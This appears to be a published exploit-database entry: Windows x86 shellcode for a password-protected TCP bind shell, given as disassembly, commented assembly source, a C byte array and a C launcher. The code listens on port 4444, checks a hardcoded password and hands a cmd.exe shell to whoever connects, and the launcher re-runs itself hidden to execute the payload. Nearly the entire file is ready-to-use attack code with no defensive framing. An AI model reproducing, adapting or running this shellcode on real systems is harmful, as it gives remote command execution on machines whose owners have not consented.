40363.c

/*
	# Title : Windows x86 password protected bind shell tcp shellcode
	# Date : 12-09-2016
	# Author : Roziul Hasan Khan Shifat
	# size : 637 bytes
	# Tested On : Windows 7 ultimate x86 x64
	# Email : shifath12@gmail.com
*/

/*
Disassembly of section .text:

00000000 <_start>:
   0:	99                   	cltd   
   1:	64 8b 42 30          	mov    %fs:0x30(%edx),%eax
   5:	8b 40 0c             	mov    0xc(%eax),%eax
   8:	8b 70 14             	mov    0x14(%eax),%esi
   b:	ad                   	lods   %ds:(%esi),%eax
   c:	96                   	xchg   %eax,%esi
   d:	ad                   	lods   %ds:(%esi),%eax
   e:	8b 78 10             	mov    0x10(%eax),%edi
  11:	8b 5f 3c             	mov    0x3c(%edi),%ebx
  14:	01 fb                	add    %edi,%ebx
  16:	8b 5b 78             	mov    0x78(%ebx),%ebx
  19:	01 fb                	add    %edi,%ebx
  1b:	8b 73 20             	mov    0x20(%ebx),%esi
  1e:	01 fe                	add    %edi,%esi

00000020 <g>:
  20:	42                   	inc    %edx
  21:	ad                   	lods   %ds:(%esi),%eax
  22:	01 f8                	add    %edi,%eax
  24:	81 38 47 65 74 50    	cmpl   $0x50746547,(%eax)
  2a:	75 f4                	jne    20 <g>
  2c:	81 78 04 72 6f 63 41 	cmpl   $0x41636f72,0x4(%eax)
  33:	75 eb                	jne    20 <g>
  35:	81 78 08 64 64 72 65 	cmpl   $0x65726464,0x8(%eax)
  3c:	75 e2                	jne    20 <g>
  3e:	8b 73 1c             	mov    0x1c(%ebx),%esi
  41:	01 fe                	add    %edi,%esi
  43:	8b 0c 96             	mov    (%esi,%edx,4),%ecx
  46:	01 f9                	add    %edi,%ecx
  48:	83 ec 50             	sub    $0x50,%esp
  4b:	8d 34 24             	lea    (%esp),%esi
  4e:	89 0e                	mov    %ecx,(%esi)
  50:	99                   	cltd   
  51:	68 73 41 41 41       	push   $0x41414173
  56:	88 54 24 02          	mov    %dl,0x2(%esp)
  5a:	68 6f 63 65 73       	push   $0x7365636f
  5f:	68 74 65 50 72       	push   $0x72506574
  64:	68 43 72 65 61       	push   $0x61657243
  69:	8d 14 24             	lea    (%esp),%edx
  6c:	52                   	push   %edx
  6d:	57                   	push   %edi
  6e:	ff d1                	call   *%ecx
  70:	83 c4 10             	add    $0x10,%esp
  73:	89 46 04             	mov    %eax,0x4(%esi)
  76:	99                   	cltd   
  77:	68 65 73 73 41       	push   $0x41737365
  7c:	88 54 24 03          	mov    %dl,0x3(%esp)
  80:	68 50 72 6f 63       	push   $0x636f7250
  85:	68 45 78 69 74       	push   $0x74697845
  8a:	8d 14 24             	lea    (%esp),%edx
  8d:	52                   	push   %edx
  8e:	57                   	push   %edi
  8f:	ff 16                	call   *(%esi)
  91:	83 c4 0c             	add    $0xc,%esp
  94:	89 46 08             	mov    %eax,0x8(%esi)
  97:	99                   	cltd   
  98:	52                   	push   %edx
  99:	68 61 72 79 41       	push   $0x41797261
  9e:	68 4c 69 62 72       	push   $0x7262694c
  a3:	68 4c 6f 61 64       	push   $0x64616f4c
  a8:	8d 14 24             	lea    (%esp),%edx
  ab:	52                   	push   %edx
  ac:	57                   	push   %edi
  ad:	ff 16                	call   *(%esi)
  af:	83 c4 0c             	add    $0xc,%esp
  b2:	99                   	cltd   
  b3:	68 6c 6c 6c 6c       	push   $0x6c6c6c6c
  b8:	88 54 24 02          	mov    %dl,0x2(%esp)
  bc:	68 33 32 2e 64       	push   $0x642e3233
  c1:	68 77 73 32 5f       	push   $0x5f327377
  c6:	8d 14 24             	lea    (%esp),%edx
  c9:	52                   	push   %edx
  ca:	ff d0                	call   *%eax
  cc:	83 c4 0c             	add    $0xc,%esp
  cf:	97                   	xchg   %eax,%edi
  d0:	8b 5f 3c             	mov    0x3c(%edi),%ebx
  d3:	01 fb                	add    %edi,%ebx
  d5:	8b 5b 78             	mov    0x78(%ebx),%ebx
  d8:	01 fb                	add    %edi,%ebx
  da:	8b 5b 1c             	mov    0x1c(%ebx),%ebx
  dd:	01 fb                	add    %edi,%ebx
  df:	99                   	cltd   
  e0:	66 ba c8 01          	mov    $0x1c8,%dx
  e4:	8b 04 13             	mov    (%ebx,%edx,1),%eax
  e7:	01 f8                	add    %edi,%eax
  e9:	89 46 0c             	mov    %eax,0xc(%esi)
  ec:	8b 43 50             	mov    0x50(%ebx),%eax
  ef:	01 f8                	add    %edi,%eax
  f1:	89 46 10             	mov    %eax,0x10(%esi)
  f4:	8b 43 04             	mov    0x4(%ebx),%eax
  f7:	01 f8                	add    %edi,%eax
  f9:	89 46 14             	mov    %eax,0x14(%esi)
  fc:	8b 03                	mov    (%ebx),%eax
  fe:	01 f8                	add    %edi,%eax
 100:	89 46 18             	mov    %eax,0x18(%esi)
 103:	8b 43 30             	mov    0x30(%ebx),%eax
 106:	01 f8                	add    %edi,%eax
 108:	89 46 1c             	mov    %eax,0x1c(%esi)
 10b:	8b 43 08             	mov    0x8(%ebx),%eax
 10e:	01 f8                	add    %edi,%eax
 110:	89 46 20             	mov    %eax,0x20(%esi)
 113:	8b 43 3c             	mov    0x3c(%ebx),%eax
 116:	01 f8                	add    %edi,%eax
 118:	89 46 24             	mov    %eax,0x24(%esi)
 11b:	66 ba 88 01          	mov    $0x188,%dx
 11f:	8b 04 13             	mov    (%ebx,%edx,1),%eax
 122:	01 f8                	add    %edi,%eax
 124:	89 46 28             	mov    %eax,0x28(%esi)
 127:	8b 43 48             	mov    0x48(%ebx),%eax
 12a:	01 f8                	add    %edi,%eax
 12c:	89 46 2c             	mov    %eax,0x2c(%esi)
 12f:	99                   	cltd   
 130:	8d 4e 30             	lea    0x30(%esi),%ecx
 133:	c6 01 02             	movb   $0x2,(%ecx)
 136:	66 c7 41 02 11 5c    	movw   $0x5c11,0x2(%ecx)
 13c:	89 51 04             	mov    %edx,0x4(%ecx)
 13f:	89 51 08             	mov    %edx,0x8(%ecx)
 142:	89 51 0c             	mov    %edx,0xc(%ecx)
 145:	8d 4e 40             	lea    0x40(%esi),%ecx
 148:	c7 01 45 6e 74 65    	movl   $0x65746e45,(%ecx)
 14e:	c7 41 04 72 20 70 61 	movl   $0x61702072,0x4(%ecx)
 155:	c7 41 08 73 73 20 63 	movl   $0x63207373,0x8(%ecx)
 15c:	c7 41 0c 6f 64 65 3a 	movl   $0x3a65646f,0xc(%ecx)
 163:	99                   	cltd   
 164:	66 ba 90 01          	mov    $0x190,%dx
 168:	29 d4                	sub    %edx,%esp
 16a:	8d 0c 24             	lea    (%esp),%ecx
 16d:	83 c2 72             	add    $0x72,%edx
 170:	51                   	push   %ecx
 171:	52                   	push   %edx
 172:	ff 56 0c             	call   *0xc(%esi)
 175:	99                   	cltd   
 176:	52                   	push   %edx
 177:	52                   	push   %edx
 178:	52                   	push   %edx
 179:	b2 06                	mov    $0x6,%dl
 17b:	52                   	push   %edx
 17c:	99                   	cltd   
 17d:	42                   	inc    %edx
 17e:	52                   	push   %edx
 17f:	42                   	inc    %edx
 180:	52                   	push   %edx
 181:	ff 56 28             	call   *0x28(%esi)
 184:	97                   	xchg   %eax,%edi
 185:	99                   	cltd   
 186:	42                   	inc    %edx
 187:	52                   	push   %edx
 188:	8d 0c 24             	lea    (%esp),%ecx
 18b:	42                   	inc    %edx
 18c:	52                   	push   %edx
 18d:	51                   	push   %ecx
 18e:	83 c2 02             	add    $0x2,%edx
 191:	52                   	push   %edx
 192:	99                   	cltd   
 193:	66 ba ff ff          	mov    $0xffff,%dx
 197:	52                   	push   %edx
 198:	57                   	push   %edi
 199:	ff 56 10             	call   *0x10(%esi)
 19c:	99                   	cltd   
 19d:	b2 10                	mov    $0x10,%dl
 19f:	52                   	push   %edx
 1a0:	8d 4e 30             	lea    0x30(%esi),%ecx
 1a3:	52                   	push   %edx
 1a4:	51                   	push   %ecx
 1a5:	57                   	push   %edi
 1a6:	ff 56 14             	call   *0x14(%esi)
 1a9:	99                   	cltd   
 1aa:	42                   	inc    %edx
 1ab:	52                   	push   %edx
 1ac:	57                   	push   %edi
 1ad:	ff 56 1c             	call   *0x1c(%esi)
 1b0:	99                   	cltd   
 1b1:	8d 5e 30             	lea    0x30(%esi),%ebx
 1b4:	89 13                	mov    %edx,(%ebx)
 1b6:	89 53 04             	mov    %edx,0x4(%ebx)
 1b9:	89 53 08             	mov    %edx,0x8(%ebx)
 1bc:	89 53 0c             	mov    %edx,0xc(%ebx)

000001bf <a>:
 1bf:	99                   	cltd   
 1c0:	b2 10                	mov    $0x10,%dl
 1c2:	52                   	push   %edx
 1c3:	8d 0c 24             	lea    (%esp),%ecx
 1c6:	8d 5e 30             	lea    0x30(%esi),%ebx
 1c9:	51                   	push   %ecx
 1ca:	53                   	push   %ebx
 1cb:	57                   	push   %edi
 1cc:	ff 56 18             	call   *0x18(%esi)
 1cf:	99                   	cltd   
 1d0:	50                   	push   %eax
 1d1:	52                   	push   %edx
 1d2:	b2 10                	mov    $0x10,%dl
 1d4:	52                   	push   %edx
 1d5:	8d 4e 40             	lea    0x40(%esi),%ecx
 1d8:	51                   	push   %ecx
 1d9:	50                   	push   %eax
 1da:	ff 56 2c             	call   *0x2c(%esi)
 1dd:	58                   	pop    %eax
 1de:	89 c3                	mov    %eax,%ebx
 1e0:	99                   	cltd   
 1e1:	52                   	push   %edx
 1e2:	b2 10                	mov    $0x10,%dl
 1e4:	52                   	push   %edx
 1e5:	8d 4e 40             	lea    0x40(%esi),%ecx
 1e8:	51                   	push   %ecx
 1e9:	50                   	push   %eax
 1ea:	ff 56 24             	call   *0x24(%esi)
 1ed:	8d 4e 40             	lea    0x40(%esi),%ecx
 1f0:	81 39 64 61 6d 6e    	cmpl   $0x6e6d6164,(%ecx)
 1f6:	75 5e                	jne    256 <kick_out>
 1f8:	81 79 04 5f 69 74 21 	cmpl   $0x2174695f,0x4(%ecx)
 1ff:	75 55                	jne    256 <kick_out>
 201:	81 79 08 24 24 23 23 	cmpl   $0x23232424,0x8(%ecx)
 208:	75 4c                	jne    256 <kick_out>
 20a:	81 79 0c 40 3b 2a 23 	cmpl   $0x232a3b40,0xc(%ecx)
 211:	75 43                	jne    256 <kick_out>
 213:	89 df                	mov    %ebx,%edi
 215:	83 ec 10             	sub    $0x10,%esp
 218:	8d 1c 24             	lea    (%esp),%ebx
 21b:	99                   	cltd   
 21c:	57                   	push   %edi
 21d:	57                   	push   %edi
 21e:	57                   	push   %edi
 21f:	52                   	push   %edx
 220:	52                   	push   %edx
 221:	b2 ff                	mov    $0xff,%dl
 223:	42                   	inc    %edx
 224:	52                   	push   %edx
 225:	99                   	cltd   
 226:	52                   	push   %edx
 227:	52                   	push   %edx
 228:	52                   	push   %edx
 229:	52                   	push   %edx
 22a:	52                   	push   %edx
 22b:	52                   	push   %edx
 22c:	52                   	push   %edx
 22d:	52                   	push   %edx
 22e:	52                   	push   %edx
 22f:	52                   	push   %edx
 230:	b2 44                	mov    $0x44,%dl
 232:	52                   	push   %edx
 233:	8d 0c 24             	lea    (%esp),%ecx
 236:	99                   	cltd   
 237:	68 63 6d 64 41       	push   $0x41646d63
 23c:	88 54 24 03          	mov    %dl,0x3(%esp)
 240:	8d 04 24             	lea    (%esp),%eax
 243:	53                   	push   %ebx
 244:	51                   	push   %ecx
 245:	52                   	push   %edx
 246:	52                   	push   %edx
 247:	52                   	push   %edx
 248:	42                   	inc    %edx
 249:	52                   	push   %edx
 24a:	99                   	cltd   
 24b:	52                   	push   %edx
 24c:	52                   	push   %edx
 24d:	50                   	push   %eax
 24e:	52                   	push   %edx
 24f:	ff 56 04             	call   *0x4(%esi)
 252:	50                   	push   %eax
 253:	ff 56 08             	call   *0x8(%esi)

00000256 <kick_out>:
 256:	53                   	push   %ebx
 257:	ff 56 20             	call   *0x20(%esi)
 25a:	8d 4e 40             	lea    0x40(%esi),%ecx
 25d:	c7 01 45 6e 74 65    	movl   $0x65746e45,(%ecx)
 263:	c7 41 04 72 20 70 61 	movl   $0x61702072,0x4(%ecx)
 26a:	c7 41 08 73 73 20 63 	movl   $0x63207373,0x8(%ecx)
 271:	c7 41 0c 6f 64 65 3a 	movl   $0x3a65646f,0xc(%ecx)
 278:	e9 42 ff ff ff       	jmp    1bf <a>
*/


 /*
section .text
	global _start
_start:

cdq
mov eax,[fs:edx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB.Ldr
mov esi,[eax+0x14] ;PEB.Ldr->InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov edi,[eax+0x10] ;kernel32.dll base address

mov ebx,[edi+0x3c]
add ebx,edi
mov ebx,[ebx+0x78]
add ebx,edi

mov esi,[ebx+0x20]
add esi,edi

g:
inc edx
lodsd
add eax,edi
cmp dword [eax],'GetP'
jne g
cmp dword [eax+4],'rocA'
jne g
cmp dword [eax+8],'ddre'
jne g

mov esi,[ebx+0x1c]
add esi,edi

mov ecx,[esi+edx*4]
add ecx,edi

sub esp,80
lea esi,[esp]

mov [esi],dword ecx ;GetProcAddress() 0

;-----------------------
;address CreateProcessA()

cdq
push 0x41414173
mov [esp+2],byte dl
push 0x7365636f
push 0x72506574
push 0x61657243

lea edx,[esp]

push edx
push edi

call ecx

;----------------------
add esp,16
mov [esi+4],dword eax ;CreateProcessA() 4
;-------------------------------
;address ExitProcess()
cdq
push 0x41737365
mov [esp+3],byte dl
push 0x636f7250
push 0x74697845

lea edx,[esp]

push edx
push edi

call [esi]

;-------------------------------
add esp,12
mov [esi+8],dword eax ;ExitProcess() 8
;----------------------------------
cdq
push edx
push 0x41797261
push 0x7262694c
push 0x64616f4c
lea edx,[esp]
push edx
push edi

call [esi]

add esp,12
;------------------------
;loading ws2_32.dll
cdq
push 0x6c6c6c6c
mov [esp+2],byte dl
push 0x642e3233
push 0x5f327377

lea edx,[esp]
push edx


call eax

;---------------------------------
add esp,12

xchg edi,eax


mov ebx,[edi+0x3c]
add ebx,edi
mov ebx,[ebx+0x78]
add ebx,edi

mov ebx,[ebx+0x1c]
add ebx,edi

cdq
mov dx,456

mov eax,[ebx+edx]
add eax,edi

mov [esi+12],dword eax ;WSAStartup() 12

mov eax,[ebx+80]
add eax,edi

mov [esi+16],dword eax ;setsockopt() 16

mov eax,[ebx+4]
add eax,edi

mov [esi+20],dword eax ;bind() 20

mov eax,[ebx]
add eax,edi

mov [esi+24],dword eax ;accept() 24

mov eax,[ebx+48]
add eax,edi

mov [esi+28],dword eax ;listen() 28

mov eax,[ebx+8]
add eax,edi

mov [esi+32],dword eax ;closesocket() 32

mov eax,[ebx+60]
add eax,edi

mov [esi+36],dword eax ;recv() 36

mov dx,392
mov eax,[ebx+edx]
add eax,edi

mov [esi+40],dword eax ;WSASocketA() 40



mov eax,[ebx+72]
add eax,edi

mov [esi+44],dword eax ;send() 44

;---------------------------------
cdq
lea ecx,[esi+48]
mov [ecx],byte 2
mov [ecx+2],word 0x5c11
mov [ecx+4],edx
mov [ecx+8],edx
mov [ecx+12],edx

lea ecx,[esi+64]
mov [ecx],dword 'Ente'
mov [ecx+4],dword 'r pa'
mov [ecx+8],dword 'ss c'
mov [ecx+12],dword 'ode:'

;-----------------------------------

;WSAStartup(514,&WSADATA)

cdq
mov dx,400
sub esp,edx
lea ecx,[esp]
add edx,114

push ecx
push edx

call [esi+12]

;--------------------------------
;---------------------------
;;WSASocketA(2,1,6,0,0,0)
cdq

push edx
push edx
push edx
mov dl,6
push edx
cdq
inc edx
push edx
inc edx
push edx

call [esi+40]

xchg edi,eax ;SOCKET
;-------------------------------------
;setsockopt(SOCKET,0xffff,4,&1,2)
cdq
inc edx
push edx
lea ecx,[esp]

inc edx
push edx
push ecx
add edx,2
push edx
cdq
mov dx,0xffff
push edx
push edi

call [esi+16]
;----------------------
;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)

cdq
mov dl,16
push edx
lea ecx,[esi+48]

push edx
push ecx
push edi

call [esi+20]
;----------------------------
;listen(SOCKET,1)
cdq
inc edx
push edx
push edi

call [esi+28]


cdq
lea ebx,[esi+48]

mov [ebx],edx
mov [ebx+4],edx
mov [ebx+8],edx
mov [ebx+12],edx





a:
;-----------------------------
;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,&16)
cdq
mov dl,16
push edx
lea ecx,[esp]
lea ebx,[esi+48]

push ecx
push ebx
push edi

call [esi+24]
;---------------------------------
;send(SOCKET,char *a[],16,0)
cdq

push eax

push edx
mov dl,16
push edx
lea ecx,[esi+64]
push ecx
push eax

call [esi+44]
;-----------------------
pop eax

;recv(SOCKET,char *a[],16,0)
mov ebx,eax

cdq
push edx
mov dl,16
push edx
lea ecx,[esi+64]
push ecx
push eax

call [esi+36]
;----------------------------------

lea ecx,[esi+64]

cmp dword [ecx],'damn'
jne kick_out
cmp dword [ecx+4],'_it!'
jne kick_out
cmp dword [ecx+8],'$$##'
jne kick_out
cmp dword [ecx+12],'@;*#'
jne kick_out

;password-> damn_it!$$##@;*# 


mov edi,ebx
sub esp,16
lea ebx,[esp]

cdq
push edi
push edi
push edi

push edx
push edx

mov dl,255
inc edx
push edx
cdq

push edx
push edx
push edx
push edx
push edx

push edx
push edx
push edx
push edx
push edx

mov dl,68
push edx
lea ecx,[esp]

cdq

push 'cmdA'
mov [esp+3],byte dl
lea eax,[esp]

;-------------------------------------------------
push ebx
push ecx

push edx
push edx
push edx

inc edx
push edx
cdq

push edx
push edx

push eax
push edx

call [esi+4]
push eax
call [esi+8]



kick_out:
push ebx
call [esi+32]

lea ecx,[esi+64]
mov [ecx],dword 'Ente'
mov [ecx+4],dword 'r pa'
mov [ecx+8],dword 'ss c'
mov [ecx+12],dword 'ode:'

jmp a
 */



#include<windows.h>
#include<stdio.h>
#include<shellapi.h>
#include<stdlib.h>

char shellcode[]="\x99\x64\x8b\x42\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x78\x10\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x73\x20\x01\xfe\x42\xad\x01\xf8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xfe\x8b\x0c\x96\x01\xf9\x83\xec\x50\x8d\x34\x24\x89\x0e\x99\x68\x73\x41\x41\x41\x88\x54\x24\x02\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x14\x24\x52\x57\xff\xd1\x83\xc4\x10\x89\x46\x04\x99\x68\x65\x73\x73\x41\x88\x54\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x89\x46\x08\x99\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x99\x68\x6c\x6c\x6c\x6c\x88\x54\x24\x02\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x8d\x14\x24\x52\xff\xd0\x83\xc4\x0c\x97\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x5b\x1c\x01\xfb\x99\x66\xba\xc8\x01\x8b\x04\x13\x01\xf8\x89\x46\x0c\x8b\x43\x50\x01\xf8\x89\x46\x10\x8b\x43\x04\x01\xf8\x89\x46\x14\x8b\x03\x01\xf8\x89\x46\x18\x8b\x43\x30\x01\xf8\x89\x46\x1c\x8b\x43\x08\x01\xf8\x89\x46\x20\x8b\x43\x3c\x01\xf8\x89\x46\x24\x66\xba\x88\x01\x8b\x04\x13\x01\xf8\x89\x46\x28\x8b\x43\x48\x01\xf8\x89\x46\x2c\x99\x8d\x4e\x30\xc6\x01\x02\x66\xc7\x41\x02\x11\x5c\x89\x51\x04\x89\x51\x08\x89\x51\x0c\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\x99\x66\xba\x90\x01\x29\xd4\x8d\x0c\x24\x83\xc2\x72\x51\x52\xff\x56\x0c\x99\x52\x52\x52\xb2\x06\x52\x99\x42\x52\x42\x52\xff\x56\x28\x97\x99\x42\x52\x8d\x0c\x24\x42\x52\x51\x83\xc2\x02\x52\x99\x66\xba\xff\xff\x52\x57\xff\x56\x10\x99\xb2\x10\x52\x8d\x4e\x30\x52\x51\x57\xff\x56\x14\x99\x42\x52\x57\xff\x56\x1c\x99\x8d\x5e\x30\x89\x13\x89\x53\x04\x89\x53\x08\x89\x53\x0c\x99\xb2\x10\x52\x8d\x0c\x24\x8d\x5e\x30\x51\x53\x57\xff\x56\x18\x99\x50\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x2c\x58\x89\xc3\x99\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x24\x8d\x4e\x40\x81\x39\x64\x61\x6d\x6e\x75\x5e\x81\x79\x04\x5f\x69\x74\x21\x75\x55\x81\x79\x08\x24\x24\x23\x23\x75\x4c\x81\x79\x0c\x40\x3b\x2a\x23\x75\x43\x89\xdf\x83\xec\x10\x8d\x1c\x24\x99\x57\x57\x57\x52\x52\xb2\xff\x42\x52\x99\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\xb2\x44\x52\x8d\x0c\x24\x99\x68\x63\x6d\x64\x41\x88\x54\x24\x03\x8d\x04\x24\x53\x51\x52\x52\x52\x42\x52\x99\x52\x52\x50\x52\xff\x56\x04\x50\xff\x56\x08\x53\xff\x56\x20\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\xe9\x42\xff\xff\xff";

int main(int i,char *a[])
{

	int mode;



	if(i==1)
	mode=1;
	else
	mode=atoi(a[1]);

switch(mode)
{
	

	case 78:
	(* (int(*)())shellcode )();
	break;

	case 1:
	ShellExecute(NULL,NULL,a[0],"78",NULL,0);
	default:
	break;
}


return 0;
}